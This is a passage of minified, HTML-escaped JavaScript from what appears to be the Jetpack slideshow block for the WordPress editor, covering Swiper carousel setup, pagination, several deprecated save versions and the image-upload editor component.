gallery-caption&quot;,tagName:&quot;figcaption&quot;,value:t})]})},s||a))}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-prev swiper-button-prev swiper-button-white&quot;,ref:this.btnPrevRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-next swiper-button-next swiper-button-white&quot;,ref:this.btnNextRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{&quot;aria-label&quot;:&quot;Pause Slideshow&quot;,className:&quot;wp-block-jetpack-slideshow_button-pause&quot;,role:&quot;button&quot;}),(0,m.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_pagination swiper-pagination swiper-pagination-white&quot;,ref:this.paginationRef})]})})}prefersReducedMotion=()=&gt;&quot;undefined&quot;!=typeof window&amp;&amp;window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches;buildSwiper=(e=0)=&gt;(0,d.A)(this.slideshowRef.current,{autoplay:!(!this.props.autoplay||this.prefersReducedMotion())&amp;&amp;{delay:1e3*this.props.delay,disableOnInteraction:!1},effect:this.props.effect,loop:!0,initialSlide:e,navigation:{nextEl:this.btnNextRef.current,prevEl:this.btnPrevRef.current},pagination:{clickable:!0,el:this.paginationRef.current,type:&quot;custom&quot;,renderCustom:p.y}},{init:h.rQ,imagesReady:h.bz,paginationRender:h.n7,transitionEnd:h.WF})}const f=g},82233(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={html:!1,align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;]}},57464(e,t,s){&quot;use strict&quot;;s.d(t,{WF:()=&gt;l,bz:()=&gt;i,n7:()=&gt;c,rQ:()=&gt;a});var r=s(89877);const n=16/9,o=&quot;wp-block-jetpack-slideshow_autoplay-paused&quot;;function a(e){i(e),l(e),e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-pause&quot;).addEventListener(&quot;click&quot;,function(){e.el&amp;&amp;(e.el.classList.contains(o)?(e.el.classList.remove(o),e.autoplay.start(),this.setAttribute(&quot;aria-label&quot;,&quot;Pause Slideshow&quot;)):(e.el.classList.add(o),e.autoplay.stop(),this.setAttribute(&quot;aria-label&quot;,&quot;Play Slideshow&quot;)))})}function i(e){if(!e||!e.el)return;const t=e.el.querySelector(&#039;.swiper-slide[data-swiper-slide-index=&quot;0&quot;] img&#039;);if(!t)return;const s=t.clientWidth/t.clientHeight,r=Math.max(Math.min(s,n),1),o=&quot;undefined&quot;!=typeof window?.8*window.innerHeight:600,a=Math.min(e.width/r,o),i=`${Math.floor(a)}px`,l=`${Math.floor(a/2)}px`;e.el.classList.add(&quot;wp-swiper-initialized&quot;),e.wrapperEl.style.height=i,e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-prev&quot;).style.top=l,e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-next&quot;).style.top=l}function l(e){(e.slides||[]).forEach((t,s)=&gt;{t.setAttribute(&quot;aria-hidden&quot;,s===e.activeIndex?&quot;false&quot;:&quot;true&quot;),s===e.activeIndex?t.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;):t.removeAttribute(&quot;tabindex&quot;)}),function(e){const t=e.slides[e.activeIndex];if(!t)return;const s=t.getElementsByTagName(&quot;FIGCAPTION&quot;)[0],n=t.getElementsByTagName(&quot;IMG&quot;)[0];e.a11y.liveRegion&amp;&amp;(e.a11y.liveRegion[0].innerHTML=s?s.innerHTML:(0,r.escapeHTML)(n.alt))}(e)}function c(e){(e.pagination.bullets||[]).forEach(t=&gt;{t.addEventListener(&quot;click&quot;,()=&gt;{const t=e.slides[e.realIndex];setTimeout(()=&gt;{t.focus()},500)})})}},57544(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;a.A,save:()=&gt;l,supports:()=&gt;i.A});var r=s(94715),n=s(71576),o=s(10790),a=s(84972),i=s(82233);const l=({attributes:{align:e,autoplay:t,delay:s,effect:a,images:i}})=&gt;{const l=r.useBlockProps.save();return(0,o.jsx)(&quot;div&quot;,{...l,children:(0,o.jsx)(n.A,{align:e,autoplay:t,delay:s,effect:a,images:i})})}},71576(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(63162),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(13022),c=s(66087),u=s(94107),d=s(39126),p=s(31837),h=s(57464),m=s(10790);const __=i.__;class g extends a.Component{pendingRequestAnimationFrame=null;resizeObserver=null;static defaultProps={effect:&quot;slide&quot;};constructor(e){super(e),this.slideshowRef=(0,a.createRef)(),this.btnNextRef=(0,a.createRef)(),this.btnPrevRef=(0,a.createRef)(),this.paginationRef=(0,a.createRef)()}componentDidMount(){const{onError:e}=this.props;this.buildSwiper().then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{e(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}componentWillUnmount(){this.clearResizeObserver(),this.clearPendingRequestAnimationFrame()}componentDidUpdate(e){const{align:t,autoplay:s,delay:r,effect:n,images:o,onError:a}=this.props;if(t===e.align&amp;&amp;(0,c.isEqual)(o,e.images)||this.swiperInstance&amp;&amp;this.swiperInstance.update(),n!==e.effect||s!==e.autoplay||r!==e.delay||o!==e.images){let t;t=this.swiperIndex?o.length===e.images.length?this.swiperInstance.realIndex:e.images.length:0,this.swiperInstance&amp;&amp;this.swiperInstance.destroy(!0,!0),this.buildSwiper(t).then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{a(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}}initializeResizeObserver=e=&gt;{this.clearResizeObserver(),this.resizeObserver=new u.A(()=&gt;{this.clearPendingRequestAnimationFrame(),this.pendingRequestAnimationFrame=requestAnimationFrame(()=&gt;{(0,h.bz)(e),e.update()})}),this.resizeObserver.observe(e.el)};clearPendingRequestAnimationFrame=()=&gt;{this.pendingRequestAnimationFrame&amp;&amp;(cancelAnimationFrame(this.pendingRequestAnimationFrame),this.pendingRequestAnimationFrame=null)};clearResizeObserver=()=&gt;{this.resizeObserver&amp;&amp;(this.resizeObserver.disconnect(),this.resizeObserver=null)};render(){if(!this.props?.images?.length)return null;const{autoplay:e,delay:t,effect:s,images:a}=this.props;return(0,m.jsx)(&quot;div&quot;,{&quot;data-autoplay&quot;:e||null,&quot;data-delay&quot;:e?t:null,&quot;data-effect&quot;:s,children:(0,m.jsxs)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_container swiper-container&quot;,ref:this.slideshowRef,children:[(0,m.jsx)(&quot;ul&quot;,{className:&quot;wp-block-jetpack-slideshow_swiper-wrapper swiper-wrapper&quot;,children:a.map(({alt:e,caption:t,id:s,url:a})=&gt;(0,m.jsx)(&quot;li&quot;,{className:(0,l.A)(&quot;wp-block-jetpack-slideshow_slide&quot;,&quot;swiper-slide&quot;,(0,r.isBlobURL)(a)&amp;&amp;&quot;is-transient&quot;),children:(0,m.jsxs)(&quot;figure&quot;,{children:[(0,m.jsx)(&quot;img&quot;,{alt:e,className:`wp-block-jetpack-slideshow_image wp-image-${s}`,&quot;data-id&quot;:s,src:a}),(0,r.isBlobURL)(a)&amp;&amp;(0,m.jsx)(o.Spinner,{}),t&amp;&amp;(0,m.jsx)(n.RichText.Content,{className:&quot;wp-block-jetpack-slideshow_caption gallery-caption&quot;,tagName:&quot;figcaption&quot;,value:t})]})},s||a))}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-prev swiper-button-prev swiper-button-white&quot;,ref:this.btnPrevRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-next swiper-button-next swiper-button-white&quot;,ref:this.btnNextRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{&quot;aria-label&quot;:&quot;Pause Slideshow&quot;,className:&quot;wp-block-jetpack-slideshow_button-pause&quot;,role:&quot;button&quot;}),(0,m.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_pagination swiper-pagination swiper-pagination-white&quot;,ref:this.paginationRef})]})})}prefersReducedMotion=()=&gt;&quot;undefined&quot;!=typeof window&amp;&amp;window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches;buildSwiper=(e=0)=&gt;(0,d.A)(this.slideshowRef.current,{autoplay:!(!this.props.autoplay||this.prefersReducedMotion())&amp;&amp;{delay:1e3*this.props.delay,disableOnInteraction:!1},effect:this.props.effect,loop:!0,initialSlide:e,navigation:{nextEl:this.btnNextRef.current,prevEl:this.btnPrevRef.current},pagination:{clickable:!0,el:this.paginationRef.current,type:&quot;custom&quot;,renderCustom:p.y}},{init:h.rQ,imagesReady:h.bz,paginationRender:h.n7,transitionEnd:h.WF})}const f=g},77294(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:{default:&quot;center&quot;,type:&quot;string&quot;},autoplay:{type:&quot;boolean&quot;,default:!1},delay:{type:&quot;number&quot;,default:3},ids:{default:[],type:&quot;array&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.swiper-slide&quot;,query:{alt:{source:&quot;attribute&quot;,selector:&quot;img&quot;,attribute:&quot;alt&quot;,default:&quot;&quot;},caption:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;figcaption&quot;},id:{source:&quot;attribute&quot;,selector:&quot;img&quot;,attribute:&quot;data-id&quot;},url:{source:&quot;attribute&quot;,selector:&quot;img&quot;,attribute:&quot;src&quot;},aspectRatio:{source:&quot;attribute&quot;,selector:&quot;img&quot;,attribute:&quot;data-aspect-ratio&quot;}}},effect:{type:&quot;string&quot;,default:&quot;slide&quot;},sizeSlug:{type:&quot;string&quot;}}},51012(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});s(5271);async function r(e=&quot;.swiper-container&quot;,t={},s={}){const r={effect:&quot;slide&quot;,grabCursor:!0,init:!0,initialSlide:0,navigation:{nextEl:&quot;.swiper-button-next&quot;,prevEl:&quot;.swiper-button-prev&quot;},pagination:{bulletElement:&quot;button&quot;,clickable:!0,el:&quot;.swiper-pagination&quot;,type:&quot;bullets&quot;},preventClicks:!1,preventClicksPropagation:!1,releaseFormElements:!1,setWrapperSize:!0,threshold:5,touchStartPreventDefault:!1,on:Object.fromEntries(Object.entries(s||{}).map(([e,t])=&gt;[e,function(){t(this)}]))};let n;if(window.JetpackSwiper)n=window.JetpackSwiper;else{const e=window.Jetpack_Block_Assets_Base_Url+&quot;swiper.css&quot;;if(!document.querySelector(`link[href=&quot;${e}&quot;]`)){const t=document.createElement(&quot;link&quot;);t.rel=&quot;stylesheet&quot;,t.href=e,document.head.appendChild(t)}if(await import(window.Jetpack_Block_Assets_Base_Url+&quot;swiper.js&quot;),!window.JetpackSwiper)throw new Error(&quot;Failed to load Jetpack Swiper bundle&quot;);n=window.JetpackSwiper}return new n(e,{...r,...t})}},9455(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;a.A,save:()=&gt;l,supports:()=&gt;i.A});var r=s(94715),n=s(71071),o=s(10790),a=s(77294),i=s(82233);const l=({attributes:{align:e,autoplay:t,delay:s,effect:a,images:i},className:l})=&gt;{const c=r.useBlockProps.save({className:l});return(0,o.jsx)(n.A,{align:e,autoplay:t,className:c.className,delay:s,effect:a,images:i})}},71071(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(63162),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(13022),c=s(66087),u=s(94107),d=s(31837),p=s(51012),h=s(72182),m=s(10790);const __=i.__;class g extends a.Component{pendingRequestAnimationFrame=null;resizeObserver=null;static defaultProps={effect:&quot;slide&quot;};constructor(e){super(e),this.slideshowRef=(0,a.createRef)(),this.btnNextRef=(0,a.createRef)(),this.btnPrevRef=(0,a.createRef)(),this.paginationRef=(0,a.createRef)()}componentDidMount(){const{onError:e}=this.props;this.buildSwiper().then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{e(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}componentWillUnmount(){this.clearResizeObserver(),this.clearPendingRequestAnimationFrame()}componentDidUpdate(e){const{align:t,autoplay:s,delay:r,effect:n,images:o,onError:a}=this.props;if(t===e.align&amp;&amp;(0,c.isEqual)(o,e.images)||this.swiperInstance&amp;&amp;this.swiperInstance.update(),n!==e.effect||s!==e.autoplay||r!==e.delay||o!==e.images){let t;t=this.swiperIndex?o.length===e.images.length?this.swiperInstance.realIndex:e.images.length:0,this.swiperInstance&amp;&amp;this.swiperInstance.destroy(!0,!0),this.buildSwiper(t).then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{a(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}}initializeResizeObserver=e=&gt;{this.clearResizeObserver(),this.resizeObserver=new u.A(()=&gt;{this.clearPendingRequestAnimationFrame(),this.pendingRequestAnimationFrame=requestAnimationFrame(()=&gt;{(0,h.bz)(e),e.update()})}),this.resizeObserver.observe(e.el)};clearPendingRequestAnimationFrame=()=&gt;{this.pendingRequestAnimationFrame&amp;&amp;(cancelAnimationFrame(this.pendingRequestAnimationFrame),this.pendingRequestAnimationFrame=null)};clearResizeObserver=()=&gt;{this.resizeObserver&amp;&amp;(this.resizeObserver.disconnect(),this.resizeObserver=null)};render(){if(!this.props?.images?.length)return null;const{autoplay:e,className:t,delay:s,effect:a,images:i}=this.props;return(0,m.jsx)(&quot;div&quot;,{className:t,&quot;data-autoplay&quot;:e||null,&quot;data-delay&quot;:e?s:null,&quot;data-effect&quot;:a,style:{&quot;--aspect-ratio&quot;:i[0]?.aspectRatio?`calc(${i[0].aspectRatio})`:void 0},children:(0,m.jsxs)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_container swiper-container&quot;,ref:this.slideshowRef,children:[(0,m.jsx)(&quot;ul&quot;,{className:&quot;wp-block-jetpack-slideshow_swiper-wrapper swiper-wrapper&quot;,children:i.map(({alt:e,caption:t,id:s,url:a,aspectRatio:i},c)=&gt;(0,m.jsx)(&quot;li&quot;,{className:(0,l.A)(&quot;wp-block-jetpack-slideshow_slide&quot;,&quot;swiper-slide&quot;,(0,r.isBlobURL)(a)&amp;&amp;&quot;is-transient&quot;),children:(0,m.jsxs)(&quot;figure&quot;,{children:[(0,m.jsx)(&quot;img&quot;,{alt:e,className:`wp-block-jetpack-slideshow_image wp-image-${s}`,&quot;data-id&quot;:s,&quot;data-aspect-ratio&quot;:i,src:a}),(0,r.isBlobURL)(a)&amp;&amp;(0,m.jsx)(o.Spinner,{}),t&amp;&amp;(0,m.jsx)(n.RichText.Content,{className:&quot;wp-block-jetpack-slideshow_caption gallery-caption&quot;,tagName:&quot;figcaption&quot;,value:t})]})},s?`${s}-${c}`:`${a}-${c}`))}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-prev swiper-button-prev swiper-button-white&quot;,ref:this.btnPrevRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-next swiper-button-next swiper-button-white&quot;,ref:this.btnNextRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{&quot;aria-label&quot;:&quot;Pause Slideshow&quot;,className:&quot;wp-block-jetpack-slideshow_button-pause&quot;,role:&quot;button&quot;}),(0,m.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_pagination swiper-pagination swiper-pagination-white&quot;,ref:this.paginationRef})]})})}prefersReducedMotion=()=&gt;&quot;undefined&quot;!=typeof window&amp;&amp;window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches;buildSwiper=(e=0)=&gt;(0,p.A)(this.slideshowRef.current,{autoplay:!(!this.props.autoplay||this.prefersReducedMotion())&amp;&amp;{delay:1e3*this.props.delay,disableOnInteraction:!1},effect:this.props.effect,loop:!0,initialSlide:e,followFinger:!1,navigation:{nextEl:this.btnNextRef.current,prevEl:this.btnPrevRef.current},pagination:{clickable:!0,el:this.paginationRef.current,type:&quot;custom&quot;,renderCustom:d.y}},{init:h.rQ,imagesReady:h.bz,paginationRender:h.n7,transitionEnd:h.WF})}const f=g},72182(e,t,s){&quot;use strict&quot;;s.d(t,{WF:()=&gt;l,bz:()=&gt;i,n7:()=&gt;c,rQ:()=&gt;a});var r=s(89877);const n=16/9,o=&quot;wp-block-jetpack-slideshow_autoplay-paused&quot;;function a(e){i(e),l(e),e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-pause&quot;).addEventListener(&quot;click&quot;,function(){e.el&amp;&amp;(e.el.classList.contains(o)?(e.el.classList.remove(o),e.autoplay.start(),this.setAttribute(&quot;aria-label&quot;,&quot;Pause Slideshow&quot;)):(e.el.classList.add(o),e.autoplay.stop(),this.setAttribute(&quot;aria-label&quot;,&quot;Play Slideshow&quot;)))})}function i(e){if(!e||!e.el)return;const t=e.el.querySelector(&#039;.swiper-slide[data-swiper-slide-index=&quot;0&quot;] img&#039;);if(!t)return;const s=t.naturalWidth/t.naturalHeight,r=Math.max(Math.min(s,n),1),o=&quot;undefined&quot;!=typeof window?.8*window.innerHeight:600,a=Math.min(e.width/r,o),i=`${Math.floor(a)}px`,l=`${Math.floor(a/2)}px`;e.el.classList.add(&quot;wp-swiper-initialized&quot;),e.wrapperEl.style.height=i,e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-prev&quot;).style.top=l,e.el.querySelector(&quot;.wp-block-jetpack-slideshow_button-next&quot;).style.top=l}function l(e){(e.slides||[]).forEach((t,s)=&gt;{t.setAttribute(&quot;aria-hidden&quot;,s===e.activeIndex?&quot;false&quot;:&quot;true&quot;),s===e.activeIndex?t.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;):t.removeAttribute(&quot;tabindex&quot;)}),function(e){const t=e.slides[e.activeIndex];if(!t)return;const s=t.getElementsByTagName(&quot;FIGCAPTION&quot;)[0],n=t.getElementsByTagName(&quot;IMG&quot;)[0];e.a11y.liveRegion&amp;&amp;(e.a11y.liveRegion[0].innerHTML=s?s.innerHTML:(0,r.escapeHTML)(n.alt))}(e)}function c(e){(e.pagination.bullets||[]).forEach(t=&gt;{t.addEventListener(&quot;click&quot;,()=&gt;{const t=e.slides[e.realIndex];setTimeout(()=&gt;{t.focus()},500)})})}},61725(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;j});var r=s(85985),n=s(63162),o=s(94715),a=s(56427),i=s(29491),l=s(47143),c=s(98490),u=s.n(c),d=s(43656),p=s(86087),h=s(27723),m=s(66087),g=s(87762),f=s(94247),b=s(241),v=s(63728),k=(s(48289),s(10790));const __=h.__,y=[&quot;image&quot;],x=(e,t)=&gt;{const s=(0,m.pick)(e,[&quot;alt&quot;,&quot;id&quot;,&quot;link&quot;,&quot;caption&quot;]),r=e?.sizes?.[t]||e?.media_details?.sizes?.[t]||e?.sizes?.full||e?.media_details?.sizes?.full||e;return s.url=r?.url||r?.source_url||e.url,s.width=r?.width||null,s.height=r?.height||null,s.aspectRatio=r?.width&amp;&amp;r?.height?`${r.width} / ${r.height}`:null,s},j=(0,i.compose)((0,l.withSelect)((e,t)=&gt;{const{ids:s}=t.attributes,{getEntityRecord:r}=e(&quot;core&quot;);return{imageSizes:e(&quot;core/editor&quot;).getEditorSettings().imageSizes,resizedImages:s.map(e=&gt;{const t=r(&quot;postType&quot;,&quot;attachment&quot;,e);return{id:e,sizes:t?.media_details?.sizes}})}}),(0,l.withDispatch)(e=&gt;{const{lockPostSaving:t,unlockPostSaving:s}=e(&quot;core/editor&quot;);return{lockPostSaving:t,unlockPostSaving:s}}),a.withNotices)(({attributes:e,setAttributes:t,className:s,isSelected:i,noticeOperations:l,noticeUI:c,lockPostSaving:h,unlockPostSaving:m,imageSizes:j,resizedImages:w})=&gt;{const{align:_,autoplay:C,delay:A,effect:S,images:E,sizeSlug:N,ids:T}=e,B=(0,o.useBlockProps)({className:s}),P=e=&gt;{t({images:e,ids:e.map(({id:e})=&gt;parseInt(e,10))})};(0,p.useEffect)(()=&gt;{&quot;undefined&quot;!=typeof window&amp;&amp;u()(function(){(0,v.A)()})},[]);const I=e=&gt;P(e.map(e=&gt;x(e,N))),M=e=&gt;{const t=&quot;slideshowBlockLock&quot;;h(t),(0,d.mediaUpload)({allowedTypes:y,filesList:e,onFileChange:e=&gt;{const s=e.map(e=&gt;x(e,N));P([...E||[],...s]),s.every(e=&gt;(0,n.isBlobURL)(e.url))||m(t)},onError:l.createErrorNotice})},L=e=&gt;M(e.target.files);let R;return(0,p.useEffect)(()=&gt;{N||t({sizeSlug:T.length?&quot;full&quot;:&quot;large&quot;})},[]),R=0===E.length?(0,k.jsx)(o.MediaPlaceholder,{icon:(0,r.sh)(g),labels:{title:__(&quot;Slideshow&quot;,&quot;jetpack&quot;),instructions:__(&quot;Drag images, upload new ones or select files from your library.&quot;,&quot;jetpack&quot;)},onSelect:I,accept:&quot;image/*&quot;,allowedTypes:y,multiple:!0,notices:c,onError:l.createErrorNotice}):(0,k.jsxs)(k.Fragment,{children:[c,(0,k.jsx)(b.A,{align:_,autoplay:C,delay:A,effect:S,images:E,onError:l.createErrorNotice}),(0,k.jsx)(a.DropZone,{onFilesDrop:M}),i&amp;&amp;(0,k.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow__add-item&quot;,children:(0,k.jsx)(a.FormFileUpload,{multiple:!0,className:&quot;wp-block-jetpack-slideshow__add-item-button&quot;,onChange:L,accept:&quot;image/*&quot;,icon:&quot;insert&quot;,__next40pxDefaultSize:!0,children:__(&quot;Upload an image&quot;,&quot;jetpack&quot;)})})]}),(0,k.jsxs)(&quot;div&quot;,{...B,children:[(0,k.jsx)(o.InspectorControls,{children:(0,k.jsx)(f.H,{attributes:e,imageSizeOptions:j?.map(({name:e,slug:t})=&gt;({value:t,label:e}))??[],onChangeImageSize:e=&gt;{const s=E.map(t=&gt;{const s=w.find(({id:e})=&gt;parseInt(e,10)===parseInt(t.id,10)),r=s?.sizes?.[e]||s?.media_details?.sizes?.[e]||s?.sizes?.full||s?.media_details?.sizes?.full,n=r?.source_url||r?.url||t.url;return{...t,...n&amp;&amp;{url:n}}});P(s),t({sizeSlug:e})},setAttributes:t})}),(0,k.jsx)(o.BlockControls,{children:(0,k.jsx)(f.o,{allowedMediaTypes:y,attributes:e,onSelectImages:I})}),R]})})},96764(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(87762),o=s(88075),a=s(61725),i=s(41952),l=s(96374),c=s(88513),u=s(98564),d=s(37332);(0,r.M)(n,{edit:a.Ay,save:i.A,transforms:d.A,example:{attributes:{align:&quot;center&quot;,autoplay:!0,images:[{alt:&quot;&quot;,caption:&quot;&quot;,url:l},{alt:&quot;&quot;,caption:&quot;&quot;,url:c},{alt:&quot;&quot;,caption:&quot;&quot;,url:u}],effect:&quot;slide&quot;}},deprecated:o.A})},30889(e,t,s){&quot;use strict&quot;;s.d(t,{y:()=&gt;n});var r=s(27723);const __=r.__;function n(e,t,s){let n=&quot;&quot;;if(s&lt;=5)for(let e=1;e&lt;=s;e++){n+=&#039;&lt;button class=&quot;&#039;+`swiper-pagination-bullet${e===t?&quot; swiper-pagination-bullet-active&quot;:&quot;&quot;}`+&#039;&quot; tab-index=&quot;0&quot; role=&quot;button&quot; aria-label=&quot;&#039;+(0,r.sprintf)(/* translators: %s: the slide number to navigate to */
__(&quot;Go to slide %s&quot;,&quot;jetpack&quot;),e)+&#039;&quot;&gt;&lt;/button&gt;&#039;}else n+=`&lt;div class=&quot;swiper-pagination-simple&quot;&gt;${t} / ${s}&lt;/div&gt;`;return n}},41952(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(241),o=s(10790);const a=({attributes:{align:e,autoplay:t,delay:s,effect:a,images:i},className:l})=&gt;{const c=r.useBlockProps.save({className:l});return(0,o.jsx)(n.A,{align:e,autoplay:t,className:c.className,delay:s,effect:a,images:i})}},241(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(63162),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(13022),c=s(66087),u=s(94107),d=s(33170),p=s(30889),h=s(34308),m=s(10790);const __=i.__;class g extends a.Component{pendingRequestAnimationFrame=null;resizeObserver=null;static defaultProps={effect:&quot;slide&quot;};constructor(e){super(e),this.slideshowRef=(0,a.createRef)(),this.btnNextRef=(0,a.createRef)(),this.btnPrevRef=(0,a.createRef)(),this.paginationRef=(0,a.createRef)()}componentDidMount(){const{onError:e}=this.props;this.buildSwiper().then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{e(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}componentWillUnmount(){this.clearResizeObserver(),this.clearPendingRequestAnimationFrame()}componentDidUpdate(e){const{align:t,autoplay:s,delay:r,effect:n,images:o,onError:a}=this.props;if(t===e.align&amp;&amp;(0,c.isEqual)(o,e.images)||this.swiperInstance&amp;&amp;this.swiperInstance.update(),n!==e.effect||s!==e.autoplay||r!==e.delay||o!==e.images){let t;t=this.swiperIndex?o.length===e.images.length?this.swiperInstance.realIndex:e.images.length:0,this.swiperInstance&amp;&amp;this.swiperInstance.destroy(!0,!0),this.buildSwiper(t).then(e=&gt;{this.swiperInstance=e,this.initializeResizeObserver(e)}).catch(()=&gt;{a(__(&quot;The Swiper library could not be loaded.&quot;,&quot;jetpack&quot;))})}}initializeResizeObserver=e=&gt;{this.clearResizeObserver(),this.resizeObserver=new u.A(()=&gt;{this.clearPendingRequestAnimationFrame(),this.pendingRequestAnimationFrame=requestAnimationFrame(()=&gt;{(0,h.bz)(e),e.update()})}),this.resizeObserver.observe(e.el)};clearPendingRequestAnimationFrame=()=&gt;{this.pendingRequestAnimationFrame&amp;&amp;(cancelAnimationFrame(this.pendingRequestAnimationFrame),this.pendingRequestAnimationFrame=null)};clearResizeObserver=()=&gt;{this.resizeObserver&amp;&amp;(this.resizeObserver.disconnect(),this.resizeObserver=null)};render(){if(!this.props?.images?.length)return null;const{autoplay:e,className:t,delay:s,effect:a,images:i}=this.props;return(0,m.jsx)(&quot;div&quot;,{className:t,&quot;data-autoplay&quot;:e||null,&quot;data-delay&quot;:e?s:null,&quot;data-effect&quot;:a,style:{&quot;--aspect-ratio&quot;:i[0]?.aspectRatio?`calc(${i[0].aspectRatio})`:void 0},children:(0,m.jsxs)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_container swiper&quot;,ref:this.slideshowRef,children:[(0,m.jsx)(&quot;ul&quot;,{className:&quot;wp-block-jetpack-slideshow_swiper-wrapper swiper-wrapper&quot;,children:i.map(({alt:e,caption:t,id:s,url:a,aspectRatio:i},c)=&gt;(0,m.jsx)(&quot;li&quot;,{className:(0,l.A)(&quot;wp-block-jetpack-slideshow_slide&quot;,&quot;swiper-slide&quot;,(0,r.isBlobURL)(a)&amp;&amp;&quot;is-transient&quot;),children:(0,m.jsxs)(&quot;figure&quot;,{children:[(0,m.jsx)(&quot;img&quot;,{alt:e,className:`wp-block-jetpack-slideshow_image wp-image-${s}`,&quot;data-id&quot;:s,&quot;data-aspect-ratio&quot;:i,src:a}),(0,r.isBlobURL)(a)&amp;&amp;(0,m.jsx)(o.Spinner,{}),t&amp;&amp;(0,m.jsx)(n.RichText.Content,{className:&quot;wp-block-jetpack-slideshow_caption gallery-caption&quot;,tagName:&quot;figcaption&quot;,value:t})]})},s?`${s}-${c}`:`${a}-${c}`))}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-prev swiper-button-prev swiper-button-white&quot;,ref:this.btnPrevRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{className:&quot;wp-block-jetpack-slideshow_button-next swiper-button-next swiper-button-white&quot;,ref:this.btnNextRef,role:&quot;button&quot;}),(0,m.jsx)(&quot;a&quot;,{&quot;aria-label&quot;:&quot;Pause Slideshow&quot;,className:&quot;wp-block-jetpack-slideshow_button-pause&quot;,role:&quot;button&quot;}),(0,m.jsx)(&quot;div&quot;,{className:&quot;wp-block-jetpack-slideshow_pagination swiper-pagination swiper-pagination-white&quot;,ref:this.paginationRef})]})})}prefersReducedMotion=()=&gt;&quot;undefined&quot;!=typeof window&amp;&amp;window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;).matches;buildSwiper=(e=0)=&gt;(0,d.A)(this.slideshowRef.current,{autoplay:!(!this.props.autoplay||this.prefersReducedMotion())&amp;&amp;{delay:1e3*this.props.delay,disableOnInteraction:!1},effect:this.props.effect,loop:!1,initialSlide:e,followFinger:!1,navigation:{nextEl:this.btnNextRef.current,prevEl:this.btnPrevRef.current},pagination:{clickable:!0,el:this.paginationRef.current,type:&quot;custom&quot;,renderCustom:p.y}},{init:h.rQ,imagesReady:h.bz,paginationRender:h.n7,transitionEnd:h.WF})}const f=g},34308(e,t,s){&quot;use strict&quot;;s.d(t,{WF:()=&gt;l,bz:()=&gt;i,n7:()=&gt;c,rQ:()=&gt;a});var r=s(89877);const n=16/9,o=&quot;wp-block-jetpack-slideshow_autoplay-paused&quot;;function 